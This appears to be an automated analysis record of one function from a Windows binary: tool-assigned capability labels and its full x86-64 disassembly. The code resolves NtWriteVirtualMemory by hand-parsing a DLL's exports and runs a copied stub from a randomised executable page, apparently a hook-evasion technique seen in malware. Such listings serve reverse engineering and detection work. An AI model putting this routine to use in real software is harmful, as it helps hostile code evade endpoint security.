Function at 0x1400fd900
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x23e0
call fcn.140191300
sub rsp, rax
mov rax, qword [0x140221880]
xor rax, rsp
mov qword [rsp + 0x23d0], rax
mov rax, qword [rsp + 0x2440]
lea rcx, [0x1401fded8]
mov qword [rsp + 0x30], rax
mov r13, r9
mov r12, r8
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x1400fd9be
mov eax, 0x5a4d
cmp word [rdi], ax
jne 0x1400fd9be
movsxd rax, dword [rdi + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x1400fd9be
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x1400fd9be
mov r14d, dword [rax + 0x1c]
xor ebx, ebx
mov r15d, dword [rax + 0x24]
add r14, rdi
mov esi, dword [rax + 0x20]
add r15, rdi
mov ebp, dword [rax + 0x18]
add rsi, rdi
test rbp, rbp
je 0x1400fd9be
nop dword [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtWriteVirtualMemory
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x1400fd9eb
inc rbx
cmp rbx, rbp
jb 0x1400fd9a0
xor eax, eax
mov rcx, qword [rsp + 0x23d0]
xor rcx, rsp
call fcn.140190770
mov rbx, qword [rsp + 0x2420]
add rsp, 0x23e0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
movzx eax, word [r15 + rbx*2]
mov ecx, dword [r14 + rax*4]
add rcx, rdi
je 0x1400fd9be
mov esi, dword [rcx + 4]
cmp esi, 1
jl 0x1400fd9be
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbp, rax
call fcn.1401921e4
mov dword [rsp + 0x44], eax
mov ecx, 1
mov r9d, 0x270
mov dword [rsp + 0x13c4], 0xffffffff
nop word [rax + rax]
mov edx, eax
shr edx, 0x1e
xor edx, eax
imul eax, edx, 0x6c078965
add eax, ecx
mov dword [rsp + rcx*4 + 0x44], eax
inc rcx
cmp rcx, r9
jb 0x1400fda40
mov dword [rsp + 0x40], r9d
lea r8, [rsp + 0x48]
nop word [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r9, 1
jne 0x1400fda70
mov ecx, dword [rsp + 0x40]
mov edx, dword [rsp + rcx*4 + 0x44]
mov eax, edx
shr eax, 0xb
inc ecx
and eax, dword [rsp + 0x13c4]
xor edx, eax
mov dword [rsp + 0x40], ecx
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and edx, 0xffffdf8c
shl edx, 0xf
mov ecx, edx
xor rcx, rax
movabs rax, 0xc0906c513cedb3
mov rdi, rcx
shr rdi, 0x12
xor rdi, rcx
mul rdi
mov rax, rdi
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 0xb
imul rax, rax, 0xff4
sub rdi, rax
xor r14d, r14d
mov ebx, r14d
nop dword [rax + rax]
lea rcx, [rsp + 0x40]
call fcn.1400b7000
mov eax, eax
mov qword [rsp + rbx*8 + 0x13d0], rax
inc rbx
cmp rbx, 0x200
jl 0x1400fdb20
mov r8d, 0x1000
lea rdx, [rsp + 0x13d0]
mov rcx, rbp
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + rbp]
movsd xmm0, qword [0x140322d70]
lea r9, [rsp + 0x38]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, rbp
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rsp + 0x38], r14d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, qword [rsp + 0x2448]
mov rdx, r13
mov r8, qword [rsp + 0x30]
mov rcx, r12
mov qword [rsp + 0x20], r14
call rbx
mov r8d, dword [rsp + 0x38]
lea r9, [rsp + 0x38]
mov edx, 0x1000
mov rcx, rbp
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rbp
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, ebx
mov dword [0x140322d74], r14d
jmp 0x1400fd9c0